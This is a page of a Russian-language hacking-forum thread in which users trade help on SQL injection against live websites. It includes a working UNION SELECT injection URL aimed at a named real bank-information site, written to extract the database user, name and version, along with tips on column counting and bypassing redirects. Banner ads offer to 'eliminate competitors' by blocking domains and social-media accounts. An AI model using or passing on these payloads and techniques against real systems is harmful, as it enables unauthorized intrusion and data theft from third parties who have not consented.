Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 662 из 2438

662

Опции темы

Поиск в этой теме

Опции просмотра

#6611

11.04.2009, 23:16

navigat0r

Участник форума

Регистрация: 15.03.2009

Сообщений: 231

С нами: 9030403

Репутация: 146

http://www.site.ru/events/?page=1
при подстановке "-" перед 1 выскакивает это сообщение

#6612

11.04.2009, 23:41

~~farex~~

Banned

Регистрация: 11.03.2009

Сообщений: 214

С нами: 9035873

Репутация: 317

Попробуй вместо - ,поставить 9999 (разумеется вместо 1)
Дай линк.......
Если не хочеш светить всем, скинь каму нить в ПМ....
Вариантов много может быть..

Последний раз редактировалось farex; 11.04.2009 в 23:44..

#6613

11.04.2009, 23:58

navigat0r

Участник форума

Регистрация: 15.03.2009

Сообщений: 231

С нами: 9030403

Репутация: 146

http://www.mir-bankov.ru/events/?page=1

#6614

12.04.2009, 00:21

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

С нами: 9780227

Репутация: 1423

Цитата:

Сообщение от navigat0r

http://www.mir-bankov.ru/events/?page=1

Инъекция после лимита при наличии ордер бая невозможна

Но ты рано сдался и выложил ссылку =( Тут работают лучшие телепаты страны

#6615

12.04.2009, 04:04

laedafess

Познающий

Регистрация: 11.02.2009

Сообщений: 98

С нами: 9076508

Репутация: 169

Код:

http://www.mir-bankov.ru/glossary/?letter=99%C7'+union+select+convert(concat_ws(0x3a,user(),database(),version())+using+cp1251),2,3/*

#6616

12.04.2009, 08:10

Byrger

Постоянный

Регистрация: 07.03.2008

Сообщений: 479

С нами: 9567480

Репутация: 61

Что делать если при SQL-inj (при ошибке похоже) идёт редерект на index.php ?

#6617

12.04.2009, 08:16

Iceangel_

Постоянный

Регистрация: 09.07.2006

Сообщений: 553

С нами: 10441826

Репутация: 1861

2 Byrger
Если тока при ошибке, то недопускать ошибок =)
ордер баем по присутсвию редиректа вычисляешь кол-во полей, проверяешь, ставя union+select+кол-во полей--+ если редиректа нету, крутишь скулю дальше, ничего особенного

#6618

12.04.2009, 10:13

DrAssault

Участник форума

Регистрация: 14.11.2008

Сообщений: 149

С нами: 9204308

Репутация: 256

Цитата:

Сообщение от Iceangel_

Бывает, что редирект идет просто вне зависимости от правильности условия, в таком случае необходимо в настройках броузера убрать автомат перенаправления, могу привести пример...

#6619

12.04.2009, 10:41

Byrger

Постоянный

Регистрация: 07.03.2008

Сообщений: 479

С нами: 9567480

Репутация: 61

А смотрите допустим я нашёл дырку
site.ru/news.php?id=1+union+select+1,2--
Теперь нам надо вывести мои 1,2
Но есть я делаю так
site.ru/news.php?id=1999+union+select+1,2--
или
site.ru/news.php?id=-1+union+select+1,2--

То идёт 404

Как быть?
Это 100% редирект идёт так-как новость не найдена...а SQL-inj Есть

Последний раз редактировалось Byrger; 12.04.2009 в 10:48..

#6620

12.04.2009, 10:42

~~a1ex~~

Banned

Регистрация: 11.10.2006

Сообщений: 682

С нами: 10306406

Репутация: 271

Цитата:

Теперь нам надо вывести смои 1,2

чиво???

Страница 662 из 2438

662

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 32 (пользователей: 0 , гостей: 32)

Быстрый переход